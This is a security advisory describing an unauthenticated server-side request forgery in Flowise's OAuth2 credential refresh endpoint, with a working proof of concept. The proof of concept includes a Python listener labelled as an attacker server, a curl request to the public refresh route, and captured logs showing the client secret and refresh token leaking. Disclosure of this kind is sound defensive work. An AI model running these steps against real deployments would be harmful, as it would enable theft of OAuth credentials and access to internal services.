OSV 1.4.0 · github-reviewed · 修改于 2026-08-04 22:20
发布时间
2026-08-04 22:20
GitHub 审查时间
2026-08-04 22:20
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-r745-8hwv-h473/GHSA-r745-8hwv-h473.json
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.
The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.
Confirmed in runtime code:
Unauthenticated route via whitelist
dist/utils/constants.js includes:
/api/v1/oauth2-credential/callback/api/v1/oauth2-credential/refreshdist/index.js auth middleware uses:
const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))/api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.User-controlled SSRF target
dist/routes/oauth2/index.js):
credentialIdaccessTokenUrlaxios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)secureAxiosRequest() / denylist wrapper is used in this path.Non-blind response reflection
tokenInfo: { ...tokenData, ... }tokenData is the attacker/internal server response body.Secrets sent to SSRF target
client_idclient_secretgrant_type=refresh_tokenrefresh_tokenflowiseai/flowise:latest container (localhost:3000)localhost:18081) returning JSONpython3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length','0'))
b = self.rfile.read(l).decode('utf-8', errors='replace')
print('REQUEST_PATH', self.path, flush=True)
print('REQUEST_BODY', b, flush=True)
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
def log_message(self, fmt, *args):
pass
HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY
accessTokenUrl (authenticated action)In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.
Resulting credential ID used in runtime validation:
24c0b18b-ff6e-4d81-a9a7-26ea8ddccdefcurl -i -X POST \
http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
-H 'Content-Type: application/json' \
-d '{}'
Observed response:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
"tokenInfo": {
"ok": true,
"source": "attacker-server",
"echo_len": 76,
"has_new_refresh_token": false
}
}
Attacker server logs captured:
REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2
This confirms:
tokenInfo).client_secret and refresh_token to SSRF target,tokenInfo).